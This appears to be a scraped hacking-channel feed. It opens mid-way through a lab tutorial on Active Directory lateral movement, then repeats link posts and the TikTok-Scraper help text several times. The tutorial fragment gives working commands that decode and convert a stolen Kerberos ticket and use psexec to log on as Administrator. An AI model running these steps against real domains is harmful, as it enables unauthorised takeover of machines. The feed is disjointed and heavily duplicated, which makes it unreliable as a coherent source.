We will work with the last ticket collected. We copy this and decode this base64 value and copy it in a file called ticket.kirbi. Then, we will use ticketConverter.py to convert it to ccache file as kirbi is the format used by Rubeus but ccache is used by Impacket. Thereafter we set an environment variable KRB5CCNAME to this ticket’s path
echo "base64 value" | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi admin.ccache
export KRB5CCNAME=admin.ccache
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_2-DkHPAwc7qcuA91QA0H-2aP7wFy1GyGgG6Zojz-FT7VGzI9waJZzYRp9ds163jzc9dm9YrTnxZe9ms3_U3qCGoNfdNa49Cn8eV3_Zb36CO6YPVzr2Q9wyr65fk1DvEbzNu5Egly9Lp2WycCmh5i7DcO3wJfwvqUmktHt1ew5uhBcNkcoARrN3-gcg/s16000/17.png?w=640&ssl=1
Finally, we can use psexec to logon to impersonated account (Administrator) on workstation01
python3 psexec.py -k -no-pass ignite.local/Administrator@workstation01.ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3reHtTTHu2xOtyCAnUFRCbNd_jGY88QOzbMxTcM22SMlpqjT1yZmyu_-swqRZZclJDxDNb2H9wntVRSENElAAbMESu0uH7IcJWezDa_IbSfueBy0kr7GFD0i2dwxMaSVlYGu68xSkL10oXdPd1r9K19XxgZ69U0KcCwjoYndUZBKfmJbmOMtW1ZDUOw/s16000/18.png?w=640&ssl=1 ConclusionIn the article, we shed some light on abusing webdav shares and then moving laterally on a domain to compromise more computers. This was done by first creating a new machine account and giving delegation access (using PetitPotam) and then that account was used to impersonate other users.
The attack is rare in real life scenarios as WebClient has to be running which also limits the potential subset of lateral movement, however, with the right conditions it can cause heavy damage. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Lateral Movement: WebClient Workstation Takeover appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Countering threats from North Korea
https://www.reddit.com/r/redteamsec/comments/tn03pm/countering_threats_from_north_korea/
submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://blog.google/threat-analysis-group/countering-threats-north-korea/) [comments] (https://www.reddit.com/r/redteamsec/comments/tn03pm/countering_threats_from_north_korea/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/redteamsec/comments/tn03pm/countering_threats_from_north_korea/
submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://blog.google/threat-analysis-group/countering-threats-north-korea/) [comments] (https://www.reddit.com/r/redteamsec/comments/tn03pm/countering_threats_from_north_korea/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
Countering threats from North Korea
Posted in r/redteamsec by u/dmchell • 1 point and 0 comments
FRUSTRATED FROM BUG HUNTING WHEN YOU CAN’T FIND BUG
https://medium.com/@neoanderson1489/frustrated-from-bug-hunting-when-you-cant-find-bug-87ac8bb66b49?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://medium.com/@neoanderson1489/frustrated-from-bug-hunting-when-you-cant-find-bug-87ac8bb66b49?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
FRUSTRATED FROM BUG HUNTING WHEN YOU CAN’T FIND BUG
HELLO READERS ,
HELLO READERS ,Continue reading on Medium » (https://medium.com/@neoanderson1489/frustrated-from-bug-hunting-when-you-cant-find-bug-87ac8bb66b49?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
FRUSTRATED FROM BUG HUNTING WHEN YOU CAN’T FIND BUG
HELLO READERS ,
You need to know this ZAP/Burp trick if you do mobile testing
https://thexssrat.medium.com/you-need-to-know-this-zap-burp-trick-if-you-do-mobile-testing-c5601fc8d06?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://thexssrat.medium.com/you-need-to-know-this-zap-burp-trick-if-you-do-mobile-testing-c5601fc8d06?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
You need to know this ZAP/Burp trick if you do mobile testing
Did you know you can use multiple proxies in burp and zap?
Did you know you can use multiple proxies in burp and zap?Continue reading on Medium » (https://thexssrat.medium.com/you-need-to-know-this-zap-burp-trick-if-you-do-mobile-testing-c5601fc8d06?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
You need to know this ZAP/Burp trick if you do mobile testing
Did you know you can use multiple proxies in burp and zap?
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
For MSPs, Next-Gen Email Security Is a Must
Stay one step ahead of the constantly evolving cyber threats with the right MSP email security solution. Discover how to evaluate and select the best service and solutions for your clients.
___________________________
@hacking_Attack
@Hacking_Video
For MSPs, Next-Gen Email Security Is a Must
Stay one step ahead of the constantly evolving cyber threats with the right MSP email security solution. Discover how to evaluate and select the best service and solutions for your clients.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
For MSPs, Next-Gen Email Security Is a Must
Stay one step ahead of the constantly evolving cyberthreats with the right MSP email security solution. Discover how to evaluate and select the best service and solutions for your clients.
Tiktok-Scraper - TikTok Scraper. Download Video Posts, Collect User/Trend/Hashtag/Music Feed Metadata, Sign URL And Etc
http://www.kitploit.com/2022/03/tiktok-scraper-tiktok-scraper-download.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2022/03/tiktok-scraper-tiktok-scraper-download.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Tiktok-Scraper - TikTok Scraper. Download Video Posts, Collect User/Trend/Hashtag/Music Feed Metadata, Sign URL And Etc
Usage: tiktok-scraper [options]
Commands:
tiktok-scraper user [id] Scrape videos from username. Enter only username
tiktok-scraper hashtag [id] Scrape videos from hashtag. Enter hashtag without #
tiktok-scraper trend Scrape posts from current trends
tiktok-scraper music [id] Scrape posts from a music id number
tiktok-scraper video [id] Download single video without the watermark
tiktok-scraper history View previous download history
tiktok-scraper from-file [file] [async] Scrape users, hashtags, music, videos mentioned
in a file. 1 value per 1 line
Options:
--version Show version number [boolean]
--session Set session cookie value. Sometimes session can be
helpfu l when scraping data from any method [default: ""]
--session-file Set path to the file with list of active sessions. One
session per line! [default: ""]
--timeout Set timeout between requests. Timeout is in Milliseconds:
1000 mls = 1 s [default: 0]
--number, -n Number of posts to scrape. If you will set 0 then all
posts will be scraped [default: 0]
--since Scrape no posts published before this date (timestamp).
If set to 0 the filter is deactived [default: 0]
--proxy, -p Set single proxy [default: ""]
--proxy-file Use proxies from a file. Scraper will use random proxies
from the file per each request. 1 line 1 proxy.
[default: ""]
--download, -d Download video posts to the folder with the name input
[id] [boolean] [default: false]
--asyncDownload, -a Number of concurrent downloads [default: 5]
--hd Download video in HD. Video size will be x5-x10 times
larger and this will affect scraper execution speed. This
option only works in combination with -w flag
[boolean] [default: false]
--zip, -z ZIP all downloaded video posts [boolean] [default: false]
--filepath File path to save all output files.
[default: "/Users/karl.wint/Documents/projects/javascript/tiktok-scraper"]
--filetype, -t Type of the output file where post information will be
saved. 'all' - save info rmation about all posts to the`
'json' and 'csv'
[choices: "csv", "json", "all", ""] [default: ""]
--filename, -f Set custom filename for the output files [default: ""]
--noWaterMark, -w Download video without the watermark. NOTE: With the
recent update you only need to use this option if you are
scraping Hashtag Feed. User/Trend/Music feeds will have
this url by default [boolean] [default: false]
--store, -s Scraper will save the progress in the OS TMP or Custom
folder and in the future usage will only download new
videos avoiding duplicates [boolean] [default: false]
--historypath Set custom path where history file/files will be stored
[default: "/var/folders/d5/fyh1_f2926q7c65g7skc0qh80000gn/T"]
--remove, -r Delete the history record by entering "TYPE:INPUT" or
"all" to clean all the history. For example: user:bob
[default: ""]
--webHookUrl Set webhook url to receive scraper result as HTTP
___________________________
@hacking_Attack
@Hacking_Video
Commands:
tiktok-scraper user [id] Scrape videos from username. Enter only username
tiktok-scraper hashtag [id] Scrape videos from hashtag. Enter hashtag without #
tiktok-scraper trend Scrape posts from current trends
tiktok-scraper music [id] Scrape posts from a music id number
tiktok-scraper video [id] Download single video without the watermark
tiktok-scraper history View previous download history
tiktok-scraper from-file [file] [async] Scrape users, hashtags, music, videos mentioned
in a file. 1 value per 1 line
Options:
--version Show version number [boolean]
--session Set session cookie value. Sometimes session can be
helpfu l when scraping data from any method [default: ""]
--session-file Set path to the file with list of active sessions. One
session per line! [default: ""]
--timeout Set timeout between requests. Timeout is in Milliseconds:
1000 mls = 1 s [default: 0]
--number, -n Number of posts to scrape. If you will set 0 then all
posts will be scraped [default: 0]
--since Scrape no posts published before this date (timestamp).
If set to 0 the filter is deactived [default: 0]
--proxy, -p Set single proxy [default: ""]
--proxy-file Use proxies from a file. Scraper will use random proxies
from the file per each request. 1 line 1 proxy.
[default: ""]
--download, -d Download video posts to the folder with the name input
[id] [boolean] [default: false]
--asyncDownload, -a Number of concurrent downloads [default: 5]
--hd Download video in HD. Video size will be x5-x10 times
larger and this will affect scraper execution speed. This
option only works in combination with -w flag
[boolean] [default: false]
--zip, -z ZIP all downloaded video posts [boolean] [default: false]
--filepath File path to save all output files.
[default: "/Users/karl.wint/Documents/projects/javascript/tiktok-scraper"]
--filetype, -t Type of the output file where post information will be
saved. 'all' - save info rmation about all posts to the`
'json' and 'csv'
[choices: "csv", "json", "all", ""] [default: ""]
--filename, -f Set custom filename for the output files [default: ""]
--noWaterMark, -w Download video without the watermark. NOTE: With the
recent update you only need to use this option if you are
scraping Hashtag Feed. User/Trend/Music feeds will have
this url by default [boolean] [default: false]
--store, -s Scraper will save the progress in the OS TMP or Custom
folder and in the future usage will only download new
videos avoiding duplicates [boolean] [default: false]
--historypath Set custom path where history file/files will be stored
[default: "/var/folders/d5/fyh1_f2926q7c65g7skc0qh80000gn/T"]
--remove, -r Delete the history record by entering "TYPE:INPUT" or
"all" to clean all the history. For example: user:bob
[default: ""]
--webHookUrl Set webhook url to receive scraper result as HTTP
___________________________
@hacking_Attack
@Hacking_Video
requests. For example to your own API [default: ""]
--method Receive data to your webhook url as POST or GET request
[choices: "GET", "POST"] [default: "POST"]
--help Show help [boolean]
Examples:
tiktok-scraper user USERNAME -d -n 100 --session sid_tt=dae32131231
tiktok-scraper trend -d -n 100 --session sid_tt=dae32131231
tiktok-scraper hashtag HASHTAG_NAME -d -n 100 --session sid_tt=dae32131231
tiktok-scraper music MUSIC_ID -d -n 50 --session sid_tt=dae32131231
tiktok-scraper vi deo https://www.tiktok.com/@tiktok/video/6807491984882765062 -d
tiktok-scraper history
tiktok-scraper history -r user:bob
tiktok-scraper history -r all
tiktok-scraper from-file BATCH_FILE ASYNC_TASKS -d Terminal Examples (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/Examples.md) Manage Download History (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/DownloadHistory.md) Scrape and Download in Batch (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/BatchDownload.md) Output File Example
___________________________
@hacking_Attack
@Hacking_Video
--method Receive data to your webhook url as POST or GET request
[choices: "GET", "POST"] [default: "POST"]
--help Show help [boolean]
Examples:
tiktok-scraper user USERNAME -d -n 100 --session sid_tt=dae32131231
tiktok-scraper trend -d -n 100 --session sid_tt=dae32131231
tiktok-scraper hashtag HASHTAG_NAME -d -n 100 --session sid_tt=dae32131231
tiktok-scraper music MUSIC_ID -d -n 50 --session sid_tt=dae32131231
tiktok-scraper vi deo https://www.tiktok.com/@tiktok/video/6807491984882765062 -d
tiktok-scraper history
tiktok-scraper history -r user:bob
tiktok-scraper history -r all
tiktok-scraper from-file BATCH_FILE ASYNC_TASKS -d Terminal Examples (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/Examples.md) Manage Download History (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/DownloadHistory.md) Scrape and Download in Batch (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/BatchDownload.md) Output File Example
___________________________
@hacking_Attack
@Hacking_Video